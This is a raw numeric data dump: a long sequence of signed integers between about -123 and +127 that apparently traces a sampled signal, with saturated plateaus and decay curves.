+9 +10 +11 +11 +10 +11 +12 +12 +11 +12 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-98 +-90 +-84 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-34 +-30 +-28 +-26 +-22 +-19 +-17 +-16 +-13 +-11 +-10 +-9 +-7 +-5 +-3 +-2 +1 +1 +1 +2 +4 +4 +5 +5 +7 +6 +7 +6 +7 +8 +9 +10 +11 +10 +10 +11 +12 +11 +12 +12 +13 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +97 +90 +85 +79 +74 +69 +66 +61 +57 +54 +52 +48 +45 +43 +41 +39 +37 +34 +33 +31 +30 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-61 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +91 +85 +79 +75 +70 +66 +61 +58 +55 +52 +49 +47 +43 +40 +38 +36 +33 +32 +30 +29 +27 +27 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-99 +-91 +-84 +-77 +-71 +-65 +-60 +-54 +-49 +-44 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-14 +-11 +-11 +-9 +-7 +-4 +-3 +-2 +-1 +1 +1 +2 +3 +4 +5 +5 +6 +7 +6 +7 +8 +9 +10 +11 +10 +10 +11 +11 +11 +11 +11 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +13 +14 +12 +12 +13 +14 +14 +14 +14 +14 +14 +14 +13 +14 +14 +14 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-90 +-83 +-75 +-69 +-64 +-59 +-53 +-48 +-44 +-39 +-35 +-31 +-28 +-25 +-23 +-19 +-17 +-15 +-13 +-10 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +11 +11 +11 +12 +12 +12 +11 +12 +12 +13 +13 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +14 +12 +13 +14 +14 +14 +14 +14 +15 +13 +14 +14 +15 +14 +14 +14 +15 +13 +13 +13 +15 +15 +15 +14 +14 +14 +14 +14 +15 +15 +15 +14 +15 +14 +13 +13 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +102 +96 +89 +83 +77 +73 +68 +64 +60 +57 +54 +51 +47 +45 +42 +40 +37 +35 +34 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +95 +89 +83 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +27 +26 +24 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +111 +103 +96 +90 +85 +79 +74 +69 +65 +61 +58 +54 +51 +48 +46 +43 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +96 +89 +83 +78 +73 +68 +64 +60 +57 +53 +50 +47 +45 +41 +39 +37 +36 +33 +31 +30 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-100 +-92 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-11 +-11 +-9 +-7 +-4 +-3 +-2 +-1 +1 +1 +2 +3 +5 +5 +6 +6 +7 +6 +7 +7 +9 +9 +10 +9 +10 +10 +11 +10 +11 +11 +12 +11 +11 +11 +11 +11 +12 +13 +13 +12 +13 +13 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +15 +14 +14 +14 +14 +14 +14 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +79 +75 +69 +65 +61 +58 +54 +51 +47 +46 +43 +40 +37 +36 +34 +32 +30 +29 +28 +26 +24 +24 +23 +22 +20 +20 +19 +18 +17 +17 +16 +16 +15 +15 +14 +14 +14 +14 +13 +13 +13 +13 +13 +13 +12 +12 +11 +11 +10 +10 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-93 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-41 +-37 +-32 +-29 +-25 +-22 +-20 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-82 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-25 +-22 +-21 +-18 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +1 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +9 +10 +10 +11 +11 +11 +10 +11 +12 +12 +12 +12 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-82 +-75 +-70 +-64 +-60 +-54 +-49 +-44 +-39 +-35 +-31 +-28 +-26 +-23 +-19 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +79 +-19 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-74 +-68 +-63 +-59 +-53 +-47 +-42 +-38 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-14 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +95 +88 +83 +78 +74 +68 +64 +60 +57 +54 +52 +49 +46 +43 +41 +38 +36 +33 +33 +30 +29 +28 +27 +25 +24 +23 +23 +22 +21 +19 +19 +19 +18 +16 +16 +15 +15 +14 +14 +13 +13 +13 +13 +12 +12 +12 +13 +12 +12 +11 +11 +11 +11 +11 +11 +10 +10 +10 +10 +10 +10 +9 +10 +10 +10 +9 +9 +9 +9 +8 +9 +9 +10 +10 +9 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +8 +8 +9 +9 +8 +8 +10 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +10 +10 +10 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +9 +9 +9 +8 +9 +8 +9 +8 +8 +8 +9 +8 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +10 +10 +9 +8 +9 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +10 +10 +10 +-68 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-93 +-86 +-78 +-71 +-67 +-61 +-56 +-49 +-44 +-40 +-37 +-33 +-29 +-27 +-24 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-98 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +-11 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +12 +13 +12 +12 +12 +14 +14 +14 +13 +14 +14 +14 +14 +14 +14 +15 +14 +13 +13 +13 +13 +14 +15 +15 +14 +14 +14 +14 +14 +14 +15 +15 +14 +14 +13 +13 +13 +15 +15 +15 +14 +15 +14 +14 +14 +14 +15 +15 +14 +14 +13 +14 +13 +14 +14 +15 +16 +15 +14 +15 +15 +15 +14 +15 +14 +14 +13 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +15 +14 +14 +15 +14 +13 +13 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-90 +-82 +-75 +-68 +-62 +-58 +-53 +-48 +-42 +-39 +-35 +-31 +-28 +-24 +-21 +-18 +-16 +-14 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-113 +-104 +-96 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-42 +-38 +-35 +-31 +-27 +-25 +-22 +-20 +-16 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +83 +78 +74 +68 +65 +61 +58 +53 +50 +47 +45 +42 +39 +37 +36 +34 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-85 +-77 +-71 +-66 +-60 +-54 +-49 +-44 +-40 +-35 +-32 +-30 +-26 +-23 +-20 +-19 +-16 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-81 +-74 +-68 +-62 +-58 +-53 +-47 +-43 +-39 +-34 +-31 +-28 +-25 +-22 +-20 +-16 +-15 +-12 +-10 +-8 +-8 +-6 +-5 +-2 +-1 +0 +0 +2 +3 +3 +4 +5 +6 +7 +6 +7 +7 +8 +8 +9 +10 +11 +10 +10 +10 +11 +11 +11 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +14 +13 +13 +13 +14 +14 +13 +14 +14 +14 +12 +12 +13 +14 +14 +14 +14 +14 +13 +14 +14 +14 +14 +15 +15 +14 +13 +13 +14 +15 +14 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +13 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +89 +84 +78 +74 +68 +64 +60 +57 +54 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +28 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +101 +95 +88 +84 +78 +73 +68 +64 +60 +57 +53 +50 +47 +44 +41 +39 +37 +35 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-83 +-77 +-71 +-66 +-60 +-54 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-19 +-17 +-15 +-13 +-11 +-10 +-9 +-7 +-4 +-3 +-2 +-1 +0 +1 +2 +2 +4 +5 +6 +5 +6 +6 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +12 +13 +13 +14 +13 +14 +14 +14 +12 +13 +14 +15 +15 +15 +14 +15 +14 +14 +13 +14 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +103 +96 +89 +84 +79 +74 +68 +65 +61 +58 +54 +51 +48 +46 +43 +40 +38 +37 +34 +32 +30 +30 +28 +26 +25 +25 +23 +22 +21 +21 +19 +19 +18 +17 +16 +15 +15 +15 +14 +13 +13 +13 +13 +12 +12 +12 +12 +12 +11 +12 +11 +11 +11 +11 +11 +10 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-94 +-85 +-78 +-72 +-67 +-61 +-55 +-50 +-45 +-41 +-36 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-84 +-76 +-69 +-64 +-60 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-16 +-14 +-13 +-11 +-9 +-8 +-7 +-5 +-3 +-1 +0 +1 +2 +3 +3 +4 +6 +6 +6 +7 +8 +7 +7 +8 +10 +10 +12 +12 +12 +12 +12 +11 +12 +11 +11 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-89 +-82 +-76 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +6 +6 +6 +7 +8 +9 +10 +11 +10 +11 +10 +11 +12 +13 +13 +14 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 